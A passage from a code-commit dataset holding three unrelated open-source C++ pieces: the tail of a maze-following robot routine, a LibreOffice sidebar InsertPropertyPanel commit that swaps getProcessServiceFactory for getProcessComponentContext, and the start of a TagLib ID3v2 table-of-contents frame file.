qDebug(\"UP: Maze[%d][%d] == %d\",x-1,y,this->Maze[x-1][y]);\n if(BOT.PrevDir != DOWN) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = UP;\n return;\n }\n\n }\n if(this->Maze[x][y+1] == Elem || this->Maze[x][y+1] == SHARED) {\n qDebug(\"RIGHT: Maze[%d][%d] == %d\",x,y+1,this->Maze[x][y+1]);\n if(BOT.PrevDir != LEFT) {\n BOT.PrevDir = BOT.Dir;\n BOT.Dir = RIGHT;\n return;\n }\n }\n }\n }\n\n \/\/BOT.Dir = LEFT;\n}\n\nvoid RobotPath::MakeStep(Robot& BOT){\n switch(BOT.Dir){\n case UP: BOT.Pos.rx()--; break;\n case DOWN: BOT.Pos.rx()++; break;\n case LEFT: BOT.Pos.ry()--; break;\n case RIGHT: BOT.Pos.ry()++; break;\n }\n BOT.Dir = DEFAULT;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n#include \"InsertPropertyPanel.hxx\"\n#include \"InsertPropertyPanel.hrc\"\n#include \"sfx2\/sidebar\/CommandInfoProvider.hxx\"\n\n#include <sfx2\/sidebar\/Theme.hxx>\n#include <sfx2\/sidebar\/Tools.hxx>\n#include <sfx2\/sidebar\/ControlFactory.hxx>\n\n#include <svx\/dialmgr.hxx>\n#include <svtools\/miscopt.hxx>\n#include <svtools\/generictoolboxcontroller.hxx>\n#include <vcl\/toolbox.hxx>\n#include <sfx2\/tbxctrl.hxx>\n#include <framework\/sfxhelperfunctions.hxx>\n#include <framework\/imageproducer.hxx>\n#include <comphelper\/processfactory.hxx>\n#include <cppuhelper\/compbase1.hxx>\n#include <cppuhelper\/basemutex.hxx>\n\n#include <com\/sun\/star\/frame\/XStatusListener.hpp>\n\nusing namespace css;\nusing namespace cssu;\nusing ::rtl::OUString;\n\n\nnamespace svx { namespace sidebar {\n\n\nInsertPropertyPanel::InsertPropertyPanel (\n Window* pParent,\n const cssu::Reference<css::frame::XFrame>& rxFrame)\n : Control(pParent, SVX_RES(RID_SIDEBAR_INSERT_PANEL)),\n mpStandardShapesBackground(sfx2::sidebar::ControlFactory::CreateToolBoxBackground(this)),\n mpStandardShapesToolBox(sfx2::sidebar::ControlFactory::CreateToolBox(\n mpStandardShapesBackground.get(),\n SVX_RES(TB_INSERT_STANDARD))),\n mpCustomShapesBackground(sfx2::sidebar::ControlFactory::CreateToolBoxBackground(this)),\n mpCustomShapesToolBox(sfx2::sidebar::ControlFactory::CreateToolBox(\n mpCustomShapesBackground.get(),\n SVX_RES(TB_INSERT_CUSTOM))),\n maControllers(),\n mxFrame(rxFrame)\n{\n SetupToolBox(*mpStandardShapesToolBox);\n SetupToolBox(*mpCustomShapesToolBox);\n FreeResource();\n\n UpdateIcons();\n\n mpStandardShapesToolBox->Show();\n mpCustomShapesToolBox->Show();\n\n \/\/ Listen to all tool box selection events.\n Window* pTopWindow = pParent;\n while (pTopWindow->GetParent() != NULL)\n pTopWindow = pTopWindow->GetParent();\n pTopWindow->AddChildEventListener(LINK(this, InsertPropertyPanel, WindowEventListener));\n}\n\n\n\n\nInsertPropertyPanel::~InsertPropertyPanel (void)\n{\n ControllerContainer aControllers;\n aControllers.swap(maControllers);\n for (ControllerContainer::iterator iController(aControllers.begin()), iEnd(aControllers.end());\n iController!=iEnd;\n ++iController)\n {\n Reference<lang::XComponent> xComponent (iController->second.mxController, UNO_QUERY);\n if (xComponent.is())\n xComponent->dispose();\n }\n\n \/\/ Remove window child listener.\n Window* pTopWindow = this;\n while (pTopWindow->GetParent() != NULL)\n pTopWindow = pTopWindow->GetParent();\n pTopWindow->RemoveChildEventListener(LINK(this, InsertPropertyPanel, WindowEventListener));\n\n mpStandardShapesToolBox.reset();\n mpCustomShapesToolBox.reset();\n mpStandardShapesBackground.reset();\n mpCustomShapesBackground.reset();\n}\n\n\n\n\nvoid InsertPropertyPanel::SetupToolBox (ToolBox& rToolBox)\n{\n const sal_uInt16 nItemCount (rToolBox.GetItemCount());\n for (sal_uInt16 nItemIndex=0; nItemIndex<nItemCount; ++nItemIndex)\n CreateController(rToolBox.GetItemId(nItemIndex));\n\n rToolBox.SetDropdownClickHdl(LINK(this, InsertPropertyPanel, DropDownClickHandler));\n rToolBox.SetClickHdl(LINK(this, InsertPropertyPanel, ClickHandler));\n rToolBox.SetDoubleClickHdl(LINK(this, InsertPropertyPanel, DoubleClickHandler));\n rToolBox.SetSelectHdl(LINK(this, InsertPropertyPanel, SelectHandler));\n rToolBox.SetActivateHdl(LINK(this, InsertPropertyPanel, ActivateToolBox));\n rToolBox.SetDeactivateHdl(LINK(this, InsertPropertyPanel, DeactivateToolBox));\n\n rToolBox.SetSizePixel(rToolBox.CalcWindowSizePixel());\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DropDownClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox != NULL)\n {\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n {\n Reference<awt::XWindow> xWindow = xController->createPopupWindow();\n if (xWindow.is() )\n xWindow->setFocus();\n }\n }\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, ClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->click();\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DoubleClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->doubleClick();\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, SelectHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->execute((sal_Int16)pToolBox->GetModifier());\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, WindowEventListener, VclSimpleEvent*, pEvent)\n{\n \/\/ We will be getting a lot of window events (well, basically all\n \/\/ of them), so reject early everything that is not connected to\n \/\/ toolbox selection.\n if (pEvent == NULL)\n return 1;\n if ( ! pEvent->ISA(VclWindowEvent))\n return 1;\n if (pEvent->GetId() != VCLEVENT_TOOLBOX_SELECT)\n return 1;\n\n ToolBox* pToolBox = dynamic_cast<ToolBox*>(dynamic_cast<VclWindowEvent*>(pEvent)->GetWindow());\n if (pToolBox == NULL)\n return 1;\n\n \/\/ Extract name of (sub)toolbar from help id.\n OUString sToolbarName (rtl::OStringToOUString(pToolBox->GetHelpId(), RTL_TEXTENCODING_UTF8));\n if (sToolbarName.getLength() == 0)\n return 1;\n const util::URL aURL (sfx2::sidebar::Tools::GetURL(sToolbarName));\n if (aURL.Path.getLength() == 0)\n return 1;\n\n \/\/ Get item id.\n sal_uInt16 nId = pToolBox->GetCurItemId();\n if (nId == 0)\n return 1;\n\n \/\/ Get toolbar controller.\n const sal_uInt16 nItemId (GetItemIdForSubToolbarName(aURL.Path));\n Reference<frame::XSubToolbarController> xController (GetControllerForItemId(nItemId), UNO_QUERY);\n if ( ! xController.is())\n return 1;\n\n const OUString sCommand (pToolBox->GetItemCommand(nId));\n ControllerContainer::iterator iController (maControllers.find(nItemId));\n if (iController != maControllers.end())\n iController->second.msCurrentCommand = sCommand;\n xController->functionSelected(sCommand);\n\n const sal_Bool bBigImages (SvtMiscOptions().AreCurrentSymbolsLarge());\n Image aImage (framework::GetImageFromURL(mxFrame, sCommand, bBigImages));\n pToolBox->SetItemImage(iController->first, aImage);\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, ActivateToolBox, ToolBox*, EMPTYARG)\n{\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DeactivateToolBox, ToolBox*, EMPTYARG)\n{\n return 1;\n}\n\n\n\n\nvoid InsertPropertyPanel::CreateController (\n const sal_uInt16 nItemId)\n{\n ToolBox* pToolBox = GetToolBoxForItemId(nItemId);\n if (pToolBox != NULL)\n {\n ItemDescriptor aDescriptor;\n\n const OUString sCommandName (pToolBox->GetItemCommand(nItemId));\n\n \/\/ Create a controller for the new item.\n aDescriptor.mxController.set(\n static_cast<XWeak*>(::framework::CreateToolBoxController(\n mxFrame,\n pToolBox,\n nItemId,\n sCommandName)),\n UNO_QUERY);\n if ( ! aDescriptor.mxController.is())\n aDescriptor.mxController.set(\n static_cast<XWeak*>(new svt::GenericToolboxController(\n ::comphelper::getProcessServiceFactory(),\n mxFrame,\n pToolBox,\n nItemId,\n sCommandName)),\n UNO_QUERY);\n if ( ! aDescriptor.mxController.is())\n return;\n\n \/\/ Get dispatch object for the command.\n aDescriptor.maURL = sfx2::sidebar::Tools::GetURL(sCommandName);\n aDescriptor.msCurrentCommand = sCommandName;\n aDescriptor.mxDispatch = sfx2::sidebar::Tools::GetDispatch(mxFrame, aDescriptor.maURL);\n if ( ! aDescriptor.mxDispatch.is())\n return;\n\n \/\/ Initialize the controller with eg a service factory.\n Reference<lang::XInitialization> xInitialization (aDescriptor.mxController, UNO_QUERY);\n if (xInitialization.is())\n {\n beans::PropertyValue aPropValue;\n std::vector<Any> aPropertyVector;\n\n aPropValue.Name = A2S(\"Frame\");\n aPropValue.Value <<= mxFrame;\n aPropertyVector.push_back(makeAny(aPropValue));\n\n aPropValue.Name = A2S(\"ServiceManager\");\n aPropValue.Value <<= ::comphelper::getProcessServiceFactory();\n aPropertyVector.push_back(makeAny(aPropValue));\n\n aPropValue.Name = A2S(\"CommandURL\");\n aPropValue.Value <<= sCommandName;\n aPropertyVector.push_back(makeAny(aPropValue));\n\n Sequence<Any> aArgs (comphelper::containerToSequence(aPropertyVector));\n xInitialization->initialize(aArgs);\n }\n\n Reference<util::XUpdatable> xUpdatable (aDescriptor.mxController, UNO_QUERY);\n if (xUpdatable.is())\n xUpdatable->update();\n\n \/\/ Add label.\n const OUString sLabel (sfx2::sidebar::CommandInfoProvider::Instance().GetLabelForCommand(\n sCommandName,\n mxFrame));\n pToolBox->SetQuickHelpText(nItemId, sLabel);\n\n \/\/ Add item to toolbox.\n pToolBox->EnableItem(nItemId);\n maControllers.insert(::std::make_pair(nItemId, aDescriptor));\n }\n}\n\n\n\n\nToolBox* InsertPropertyPanel::GetToolBoxForItemId (const sal_uInt16 nItemId) const\n{\n switch(nItemId)\n {\n case TBI_STANDARD_LINE:\n case TBI_STANDARD_ARROW:\n case TBI_STANDARD_RECTANGLE:\n case TBI_STANDARD_ELLIPSE:\n case TBI_STANDARD_TEXT:\n case TBI_STANDARD_LINES:\n case TBI_STANDARD_CONNECTORS:\n case TBI_STANDARD_ARROWS:\n return mpStandardShapesToolBox.get();\n\n case TBI_CUSTOM_BASICS:\n case TBI_CUSTOM_SYMBOLS:\n case TBI_CUSTOM_ARROWS:\n case TBI_CUSTOM_FLOWCHARTS:\n case TBI_CUSTOM_CALLOUTS:\n case TBI_CUSTOM_STARS:\n return mpCustomShapesToolBox.get();\n\n default:\n return NULL;\n }\n}\n\n\n\n\nReference<frame::XToolbarController> InsertPropertyPanel::GetControllerForItemId (const sal_uInt16 nItemId) const\n{\n ControllerContainer::const_iterator iController (maControllers.find(nItemId));\n if (iController != maControllers.end())\n return iController->second.mxController;\n else\n return NULL;\n}\n\n\n\n\nsal_uInt16 InsertPropertyPanel::GetItemIdForSubToolbarName (const OUString& rsSubToolbarName) const\n{\n for (ControllerContainer::const_iterator iController(maControllers.begin()), iEnd(maControllers.end());\n iController!=iEnd;\n ++iController)\n {\n Reference<frame::XSubToolbarController> xSubToolbarController (iController->second.mxController, UNO_QUERY);\n if (xSubToolbarController.is())\n if (xSubToolbarController->getSubToolbarName().equals(rsSubToolbarName))\n return iController->first;\n }\n return 0;\n}\n\n\n\n\nvoid InsertPropertyPanel::UpdateIcons (void)\n{\n const sal_Bool bBigImages (SvtMiscOptions().AreCurrentSymbolsLarge());\n\n for (ControllerContainer::iterator iController(maControllers.begin()), iEnd(maControllers.end());\n iController!=iEnd;\n ++iController)\n {\n const ::rtl::OUString sCommandURL (iController->second.msCurrentCommand);\n Image aImage (framework::GetImageFromURL(mxFrame, sCommandURL, bBigImages));\n ToolBox* pToolBox = GetToolBoxForItemId(iController->first);\n if (pToolBox != NULL)\n pToolBox->SetItemImage(iController->first, aImage);\n }\n}\n\n\n\n\n} } \/\/ end of namespace svx::sidebar\n<commit_msg>getProcessServiceFactory->getProcessComponentContext<commit_after>\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n#include \"InsertPropertyPanel.hxx\"\n#include \"InsertPropertyPanel.hrc\"\n#include \"sfx2\/sidebar\/CommandInfoProvider.hxx\"\n\n#include <sfx2\/sidebar\/Theme.hxx>\n#include <sfx2\/sidebar\/Tools.hxx>\n#include <sfx2\/sidebar\/ControlFactory.hxx>\n\n#include <svx\/dialmgr.hxx>\n#include <svtools\/miscopt.hxx>\n#include <svtools\/generictoolboxcontroller.hxx>\n#include <vcl\/toolbox.hxx>\n#include <sfx2\/tbxctrl.hxx>\n#include <framework\/sfxhelperfunctions.hxx>\n#include <framework\/imageproducer.hxx>\n#include <comphelper\/processfactory.hxx>\n#include <cppuhelper\/compbase1.hxx>\n#include <cppuhelper\/basemutex.hxx>\n\n#include <com\/sun\/star\/frame\/XStatusListener.hpp>\n\nusing namespace css;\nusing namespace cssu;\nusing ::rtl::OUString;\n\n\nnamespace svx { namespace sidebar {\n\n\nInsertPropertyPanel::InsertPropertyPanel (\n Window* pParent,\n const cssu::Reference<css::frame::XFrame>& rxFrame)\n : Control(pParent, SVX_RES(RID_SIDEBAR_INSERT_PANEL)),\n mpStandardShapesBackground(sfx2::sidebar::ControlFactory::CreateToolBoxBackground(this)),\n mpStandardShapesToolBox(sfx2::sidebar::ControlFactory::CreateToolBox(\n mpStandardShapesBackground.get(),\n SVX_RES(TB_INSERT_STANDARD))),\n mpCustomShapesBackground(sfx2::sidebar::ControlFactory::CreateToolBoxBackground(this)),\n mpCustomShapesToolBox(sfx2::sidebar::ControlFactory::CreateToolBox(\n mpCustomShapesBackground.get(),\n SVX_RES(TB_INSERT_CUSTOM))),\n maControllers(),\n mxFrame(rxFrame)\n{\n SetupToolBox(*mpStandardShapesToolBox);\n SetupToolBox(*mpCustomShapesToolBox);\n FreeResource();\n\n UpdateIcons();\n\n mpStandardShapesToolBox->Show();\n mpCustomShapesToolBox->Show();\n\n \/\/ Listen to all tool box selection events.\n Window* pTopWindow = pParent;\n while (pTopWindow->GetParent() != NULL)\n pTopWindow = pTopWindow->GetParent();\n pTopWindow->AddChildEventListener(LINK(this, InsertPropertyPanel, WindowEventListener));\n}\n\n\n\n\nInsertPropertyPanel::~InsertPropertyPanel (void)\n{\n ControllerContainer aControllers;\n aControllers.swap(maControllers);\n for (ControllerContainer::iterator iController(aControllers.begin()), iEnd(aControllers.end());\n iController!=iEnd;\n ++iController)\n {\n Reference<lang::XComponent> xComponent (iController->second.mxController, UNO_QUERY);\n if (xComponent.is())\n xComponent->dispose();\n }\n\n \/\/ Remove window child listener.\n Window* pTopWindow = this;\n while (pTopWindow->GetParent() != NULL)\n pTopWindow = pTopWindow->GetParent();\n pTopWindow->RemoveChildEventListener(LINK(this, InsertPropertyPanel, WindowEventListener));\n\n mpStandardShapesToolBox.reset();\n mpCustomShapesToolBox.reset();\n mpStandardShapesBackground.reset();\n mpCustomShapesBackground.reset();\n}\n\n\n\n\nvoid InsertPropertyPanel::SetupToolBox (ToolBox& rToolBox)\n{\n const sal_uInt16 nItemCount (rToolBox.GetItemCount());\n for (sal_uInt16 nItemIndex=0; nItemIndex<nItemCount; ++nItemIndex)\n CreateController(rToolBox.GetItemId(nItemIndex));\n\n rToolBox.SetDropdownClickHdl(LINK(this, InsertPropertyPanel, DropDownClickHandler));\n rToolBox.SetClickHdl(LINK(this, InsertPropertyPanel, ClickHandler));\n rToolBox.SetDoubleClickHdl(LINK(this, InsertPropertyPanel, DoubleClickHandler));\n rToolBox.SetSelectHdl(LINK(this, InsertPropertyPanel, SelectHandler));\n rToolBox.SetActivateHdl(LINK(this, InsertPropertyPanel, ActivateToolBox));\n rToolBox.SetDeactivateHdl(LINK(this, InsertPropertyPanel, DeactivateToolBox));\n\n rToolBox.SetSizePixel(rToolBox.CalcWindowSizePixel());\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DropDownClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox != NULL)\n {\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n {\n Reference<awt::XWindow> xWindow = xController->createPopupWindow();\n if (xWindow.is() )\n xWindow->setFocus();\n }\n }\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, ClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->click();\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DoubleClickHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->doubleClick();\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, SelectHandler, ToolBox*, pToolBox)\n{\n if (pToolBox == NULL)\n return 0;\n\n Reference<frame::XToolbarController> xController (GetControllerForItemId(pToolBox->GetCurItemId()));\n if (xController.is())\n xController->execute((sal_Int16)pToolBox->GetModifier());\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, WindowEventListener, VclSimpleEvent*, pEvent)\n{\n \/\/ We will be getting a lot of window events (well, basically all\n \/\/ of them), so reject early everything that is not connected to\n \/\/ toolbox selection.\n if (pEvent == NULL)\n return 1;\n if ( ! pEvent->ISA(VclWindowEvent))\n return 1;\n if (pEvent->GetId() != VCLEVENT_TOOLBOX_SELECT)\n return 1;\n\n ToolBox* pToolBox = dynamic_cast<ToolBox*>(dynamic_cast<VclWindowEvent*>(pEvent)->GetWindow());\n if (pToolBox == NULL)\n return 1;\n\n \/\/ Extract name of (sub)toolbar from help id.\n OUString sToolbarName (rtl::OStringToOUString(pToolBox->GetHelpId(), RTL_TEXTENCODING_UTF8));\n if (sToolbarName.getLength() == 0)\n return 1;\n const util::URL aURL (sfx2::sidebar::Tools::GetURL(sToolbarName));\n if (aURL.Path.getLength() == 0)\n return 1;\n\n \/\/ Get item id.\n sal_uInt16 nId = pToolBox->GetCurItemId();\n if (nId == 0)\n return 1;\n\n \/\/ Get toolbar controller.\n const sal_uInt16 nItemId (GetItemIdForSubToolbarName(aURL.Path));\n Reference<frame::XSubToolbarController> xController (GetControllerForItemId(nItemId), UNO_QUERY);\n if ( ! xController.is())\n return 1;\n\n const OUString sCommand (pToolBox->GetItemCommand(nId));\n ControllerContainer::iterator iController (maControllers.find(nItemId));\n if (iController != maControllers.end())\n iController->second.msCurrentCommand = sCommand;\n xController->functionSelected(sCommand);\n\n const sal_Bool bBigImages (SvtMiscOptions().AreCurrentSymbolsLarge());\n Image aImage (framework::GetImageFromURL(mxFrame, sCommand, bBigImages));\n pToolBox->SetItemImage(iController->first, aImage);\n\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, ActivateToolBox, ToolBox*, EMPTYARG)\n{\n return 1;\n}\n\n\n\n\nIMPL_LINK(InsertPropertyPanel, DeactivateToolBox, ToolBox*, EMPTYARG)\n{\n return 1;\n}\n\n\n\n\nvoid InsertPropertyPanel::CreateController (\n const sal_uInt16 nItemId)\n{\n ToolBox* pToolBox = GetToolBoxForItemId(nItemId);\n if (pToolBox != NULL)\n {\n ItemDescriptor aDescriptor;\n\n const OUString sCommandName (pToolBox->GetItemCommand(nItemId));\n\n \/\/ Create a controller for the new item.\n aDescriptor.mxController.set(\n static_cast<XWeak*>(::framework::CreateToolBoxController(\n mxFrame,\n pToolBox,\n nItemId,\n sCommandName)),\n UNO_QUERY);\n if ( ! aDescriptor.mxController.is())\n aDescriptor.mxController.set(\n static_cast<XWeak*>(new svt::GenericToolboxController(\n ::comphelper::getProcessComponentContext(),\n mxFrame,\n pToolBox,\n nItemId,\n sCommandName)),\n UNO_QUERY);\n if ( ! aDescriptor.mxController.is())\n return;\n\n \/\/ Get dispatch object for the command.\n aDescriptor.maURL = sfx2::sidebar::Tools::GetURL(sCommandName);\n aDescriptor.msCurrentCommand = sCommandName;\n aDescriptor.mxDispatch = sfx2::sidebar::Tools::GetDispatch(mxFrame, aDescriptor.maURL);\n if ( ! aDescriptor.mxDispatch.is())\n return;\n\n \/\/ Initialize the controller with eg a service factory.\n Reference<lang::XInitialization> xInitialization (aDescriptor.mxController, UNO_QUERY);\n if (xInitialization.is())\n {\n beans::PropertyValue aPropValue;\n std::vector<Any> aPropertyVector;\n\n aPropValue.Name = A2S(\"Frame\");\n aPropValue.Value <<= mxFrame;\n aPropertyVector.push_back(makeAny(aPropValue));\n\n aPropValue.Name = A2S(\"ServiceManager\");\n aPropValue.Value <<= ::comphelper::getProcessServiceFactory();\n aPropertyVector.push_back(makeAny(aPropValue));\n\n aPropValue.Name = A2S(\"CommandURL\");\n aPropValue.Value <<= sCommandName;\n aPropertyVector.push_back(makeAny(aPropValue));\n\n Sequence<Any> aArgs (comphelper::containerToSequence(aPropertyVector));\n xInitialization->initialize(aArgs);\n }\n\n Reference<util::XUpdatable> xUpdatable (aDescriptor.mxController, UNO_QUERY);\n if (xUpdatable.is())\n xUpdatable->update();\n\n \/\/ Add label.\n const OUString sLabel (sfx2::sidebar::CommandInfoProvider::Instance().GetLabelForCommand(\n sCommandName,\n mxFrame));\n pToolBox->SetQuickHelpText(nItemId, sLabel);\n\n \/\/ Add item to toolbox.\n pToolBox->EnableItem(nItemId);\n maControllers.insert(::std::make_pair(nItemId, aDescriptor));\n }\n}\n\n\n\n\nToolBox* InsertPropertyPanel::GetToolBoxForItemId (const sal_uInt16 nItemId) const\n{\n switch(nItemId)\n {\n case TBI_STANDARD_LINE:\n case TBI_STANDARD_ARROW:\n case TBI_STANDARD_RECTANGLE:\n case TBI_STANDARD_ELLIPSE:\n case TBI_STANDARD_TEXT:\n case TBI_STANDARD_LINES:\n case TBI_STANDARD_CONNECTORS:\n case TBI_STANDARD_ARROWS:\n return mpStandardShapesToolBox.get();\n\n case TBI_CUSTOM_BASICS:\n case TBI_CUSTOM_SYMBOLS:\n case TBI_CUSTOM_ARROWS:\n case TBI_CUSTOM_FLOWCHARTS:\n case TBI_CUSTOM_CALLOUTS:\n case TBI_CUSTOM_STARS:\n return mpCustomShapesToolBox.get();\n\n default:\n return NULL;\n }\n}\n\n\n\n\nReference<frame::XToolbarController> InsertPropertyPanel::GetControllerForItemId (const sal_uInt16 nItemId) const\n{\n ControllerContainer::const_iterator iController (maControllers.find(nItemId));\n if (iController != maControllers.end())\n return iController->second.mxController;\n else\n return NULL;\n}\n\n\n\n\nsal_uInt16 InsertPropertyPanel::GetItemIdForSubToolbarName (const OUString& rsSubToolbarName) const\n{\n for (ControllerContainer::const_iterator iController(maControllers.begin()), iEnd(maControllers.end());\n iController!=iEnd;\n ++iController)\n {\n Reference<frame::XSubToolbarController> xSubToolbarController (iController->second.mxController, UNO_QUERY);\n if (xSubToolbarController.is())\n if (xSubToolbarController->getSubToolbarName().equals(rsSubToolbarName))\n return iController->first;\n }\n return 0;\n}\n\n\n\n\nvoid InsertPropertyPanel::UpdateIcons (void)\n{\n const sal_Bool bBigImages (SvtMiscOptions().AreCurrentSymbolsLarge());\n\n for (ControllerContainer::iterator iController(maControllers.begin()), iEnd(maControllers.end());\n iController!=iEnd;\n ++iController)\n {\n const ::rtl::OUString sCommandURL (iController->second.msCurrentCommand);\n Image aImage (framework::GetImageFromURL(mxFrame, sCommandURL, bBigImages));\n ToolBox* pToolBox = GetToolBoxForItemId(iController->first);\n if (pToolBox != NULL)\n pToolBox->SetItemImage(iController->first, aImage);\n }\n}\n\n\n\n\n} } \/\/ end of namespace svx::sidebar\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n copyright : (C) 2013 by Lukas Krejci\n email : krejclu6@fel.cvut.cz\n ***************************************************************************\/\n\n\/***************************************************************************\n * This library is free software; you can redistribute it and\/or modify *\n * it under the terms of the GNU Lesser General Public License version *\n * 2.1 as published by the Free Software Foundation. *\n * *\n * This library is distributed in the hope that it will be useful, but *\n * WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\n * Lesser General Public License for more details. *\n * *\n * You should have received a copy of the GNU Lesser General Public *\n * License along with this library; if not, write to the Free Software *\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA *\n * 02110-1301 USA *\n * *\n * Alternatively, this file is available under the Mozilla Public *\n * License Version 1.1. You may obtain a copy of the License at *\n * http:\/\/www.mozilla.org\/MPL\/ *\n ***************************************************************************\/\n\n#include <tbytevectorlist.h>\n#include <tpropertymap.h>\n#include <tdebug.h>\n\n#include \"tableofcontentsframe.h\"\n\nusing namespace TagLib;\nusing namespace ID3v2;\n\nclass TableOfContentsFrame::TableOfContentsFramePrivate\n{\npublic:\n TableOfContentsFramePrivate() :\n tagHeader(0),\n isTopLevel(false),\n isOrdered(false)\n {\n embeddedFrameList.setAutoDelete(true);\n }\n\n const ID3v2::Header *tagHeader;\n ByteVector elementID;\n bool isTopLevel;\n bool isOrdered;\n ByteVectorList childElements;\n FrameListMap embeddedFrameListMap;\n FrameList embeddedFrameList;\n};\n\nnamespace {\n\n \/\/ These functions are needed to try to aim for backward compatibility with\n \/\/ an API that previously (unreasonably) required null bytes to be appeneded\n \/\/ at the end of identifiers explicitly by the API user.\n\n \/\/ BIC: remove these\n\n ByteVector &strip(ByteVector &b)\n {\n if(b.endsWith('\\0'))\n b.resize(b.size() - 1);\n return b;\n }\n\n ByteVectorList &strip(ByteVectorList &l)\n {\n for(ByteVectorList::Iterator it = l.begin(); it != l.end(); ++it)\n {\n strip(*it);\n }\n return l;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ public methods\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nTableOfContentsFrame::TableOfContentsFrame(const ID3v2::Header *tagHeader, const ByteVector &data) :\n ID3v2::Frame(data),\n d(new TableOfContentsFramePrivate())\n{\n d->tagHeader = tagHeader;\n setData(data);\n}\n\nTableOfContentsFrame::TableOfContentsFrame(const ByteVector &elementID,\n const ByteVectorList &children,\n const FrameList &embeddedFrames) :\n ID3v2::Frame(\"CTOC\"),\n d(new TableOfContentsFramePrivate())\n{\n d->elementID = elementID;\n strip(d->elementID);\n d->childElements = children;\n\n for(FrameList::ConstIterator it = embeddedFrames.begin(); it != embeddedFrames.end(); ++it)\n addEmbeddedFrame(*it);\n}\n\nTableOfContentsFrame::~TableOfContentsFrame()\n{\n delete d;\n}\n\nByteVector TableOfContentsFrame::elementID() const\n{\n return d->elementID;\n}\n\nbool TableOfContentsFrame::isTopLevel() const\n{\n return d->isTopLevel;\n}\n\nbool TableOfContentsFrame::isOrdered() const\n{\n return d->isOrdered;\n}\n\nunsigned int TableOfContentsFrame::entryCount() const\n{\n return d->childElements.size();\n}\n\nByteVectorList TableOfContentsFrame::childElements() const\n{\n return d->childElements;\n}\n\nvoid TableOfContentsFrame::setElementID(const ByteVector &eID)\n{\n d->elementID = eID;\n strip(d->elementID);\n}\n\nvoid TableOfContentsFrame::setIsTopLevel(const bool &t)\n{\n d->isTopLevel = t;\n}\n\nvoid TableOfContentsFrame::setIsOrdered(const bool &o)\n{\n d->isOrdered = o;\n}\n\nvoid TableOfContentsFrame::setChildElements(const ByteVectorList &l)\n{\n d->childElements = l;\n 